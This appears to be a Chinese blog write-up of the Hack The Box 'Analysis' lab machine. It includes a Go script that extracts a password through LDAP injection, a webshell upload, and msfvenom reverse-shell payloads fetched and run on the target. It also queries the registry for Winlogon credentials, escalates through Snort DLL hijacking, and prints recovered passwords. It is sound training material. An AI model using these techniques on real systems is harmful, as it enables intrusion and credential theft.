Hack The Box-Analysis

本文详细描述了使用nmap、enum4linux、gobuster等工具进行信息收集和漏洞扫描的过程,包括发现开放的LDAP协议、枚举子域、Web内容模糊测试,以及后续的密码爆破、权限提升和恶意文件操作。最后提到如何通过DLL劫持获取反向shell和使用Snort进行嗅探活动。
摘要由CSDN通过智能技术生成

信息收集&端口利用

直接上nmap一把梭哈

nmap 10.10.11.250

在这里插入图片描述

发现开放了ldap有关协议,使用enum4linux的-l参数扫描,-l参数代表扫描ldap协议相关漏洞

enum4linux -l 10.10.11.250

在这里插入图片描述

能扫描出域名为analysis,将域名加入到hosts文件中,并作为自定义DNS服务器后获取一些子域

gobuster dns -d analysis.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r analysis.htb:53

在这里插入图片描述

扫描出了如下子域名

www.analysis.htb
internal.analysis.htb
gc._msdcs.analysis.htb
domaindnszones.analysis.htb
forestdnszones.analysis.htb

将上述子域名加入hosts文件后,继续对其中的信息进行爆破

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://internal.analysis.htb/FUZZ -recursion -recursion-depth 1 -e .php

在这里插入图片描述

能看到在users、dashboard、Users、employees下可以进行模糊搜索,再进一步搜索后,发现如下网站

http://internal.analysis.htb/users/list.php?name=*

在这里插入图片描述

获取权限

使用如下golang脚本对其进行爆破密码 (此处笔者还不知道原理TAT)

package main

import (
	"bufio"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
)

func main() {
	// Prompt user for wordlist input
	fmt.Print("Enter the wordlist or charset (press Enter to use the default): ")
	scanner := bufio.NewScanner(os.Stdin)
	scanner.Scan()
	charsetPath := strings.TrimSpace(scanner.Text())

	// Use default wordlist if user didn't provide one
	if charsetPath == "" {
		charsetPath = "/usr/share/seclists/Fuzzing/alphanum-case-extra.txt"
	}

	baseURL := "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={found_char}{FUZZ}*)"
	foundChars := ""

	file, err := os.Open(charsetPath)
	if err != nil {
		fmt.Println("Error opening charset file:", err)
		return
	}
	defer file.Close()

	scanner = bufio.NewScanner(file)
	for scanner.Scan() {
		char := strings.TrimSpace(scanner.Text())
		//fmt.Println("Trying character:", char)
		//thisisthat := "OnlyWorkingInput:"
		
		modifiedURL := strings.Replace(baseURL, "{FUZZ}", char, 1)
		modifiedURL = strings.Replace(modifiedURL, "{found_char}", foundChars, 1)
		fmt.Println("Modified URL:", modifiedURL)
		//fmt.Println(thisisthat,"{found_char}",foundChars, 1)
		
		response, err := http.Get(modifiedURL)
		if err != nil {
			fmt.Println("Error making HTTP request:", err)
			return
		}
		defer response.Body.Close()

		body, err := ioutil.ReadAll(response.Body)
		if err != nil {
			fmt.Println("Error reading response body:", err)
			return
		}

		if strings.Contains(response.Status, "200 OK") && strings.Contains(string(body), "technician") {
			fmt.Println("Found character:", char)
			foundChars += char
			file.Seek(0, 0) // Move the file pointer to the beginning for another iteration
		}
	}

	if err := scanner.Err(); err != nil {
		fmt.Println("Error reading charset file:", err)
		return
	}

	fmt.Println("Final found characters:", foundChars)
}

此脚本会在爆破出 97NTtl* 后一直循环,是因为密码中包含了*号,将baseURL行修改为如下

baseURL := "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description=97NTtl*{found_char}{FUZZ}*)"

重新编译go语言并运行

在这里插入图片描述

能够跑出来密码为97NTtl*4QP96Bv,加上之前在网页看到的用户名technician来测试能够登录哪些界面

./kerbrute bruteuser -d analysis.htb --dc analysis.htb pass.txt technician@analysis.htb

在这里插入图片描述

在之前模糊测试中找到登陆点为/employees/login.php

在这里插入图片描述

使用用户名密码登录

在这里插入图片描述

转悠了一圈后发现,可以在SOC Report处上传文件

在这里插入图片描述

上传一段一句话木马来获取shell,路径为/uploads/shell.php

在这里插入图片描述

使用msfconsole和msfvenom获取一个shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=1337 -f exe -o shell.exe

在这里插入图片描述

使用msfconsole获取终端

在这里插入图片描述

在kali上开启一个http服务,使得靶机能够下载shell.exe文件

在这里插入图片描述

在蚁剑的终端中下载kali上的shell.exe,并且运行

在这里插入图片描述

msfconsole获取到shell

在这里插入图片描述

查找敏感数据

在这里插入图片描述

在这里插入图片描述

现在尝试将meterpreter改为shell,使用reg获得用户凭据

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

在这里插入图片描述

有了这些信息,我们能够使用evil-winrm登录到机器

evil-winrm -u jdoe -i analysis.htb -p '7y4Z4^*y9Zzj'

在这里插入图片描述

查看当前用户

在这里插入图片描述

权限提升

通过检查文件夹权限,我们可以通过dll劫持,在snort_dynamicpreprocessor处获得反向shell

在这里插入图片描述

使用msfvenom创建新的dll恶意文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=1338 -f dll -o sf_engine.dll

通过evil_winrm上传到靶机

在这里插入图片描述

下一步就是启动Snort,在C:\private目录下新建一个空的pcap文件,虽然会报错,但是只要该文件存在就能利用

type nul > upshell.pcap

在这里插入图片描述

之后在msfconsole查看之前开启的监听器

在这里插入图片描述

查看当前用户为管理员

在这里插入图片描述

  • 41
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HackTheBox - Reel是一个在黑客社区非常受欢迎的虚拟机靶场。这个靶场的目标是通过渗透测试和攻击手法,找到并获得系统的管理员权限。靶场基于漏洞存在和网络安全问题,提供了一个真实的环境来练习和提升安全技能。 Reel虚拟机是以恶意软件传播为主题的,这是一个很常见但危险的网络攻击。在解决这个靶场时,你需要进行全面的信息搜集,发现可能的漏洞,并利用这些漏洞来控制系统。你还需要进行各种网络嗅探和流量分析操作,以便找到系统中的隐藏服务和登录凭证。 在攻击过程中,你需要利用各种漏洞包括未经授权的访问和远程执行代码等。还需要理解和使用不同的入侵技术,例如命令注入和文件上传等。此外,你可能还需要对恶意软件的分析和行为进行深入研究,以了解其运行机制。 HackTheBox - Reel不仅测试了你的渗透测试技能,而且还促使你加强对恶意软件攻击和防护的了解。同时,这个靶场还有很多高级技术和技巧需要掌握。通过挑战这样的虚拟机,你可以提高你的安全意识和技能,以应对更复杂和高级的网络攻击。 总之,HackTheBox - Reel是一个非常有挑战性的虚拟机靶场,通过攻击和渗透测试,你将提高你的安全技能,并了解到如何防范和对抗恶意软件传播。这是一个很好的方式来锻炼和提升你的网络安全技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值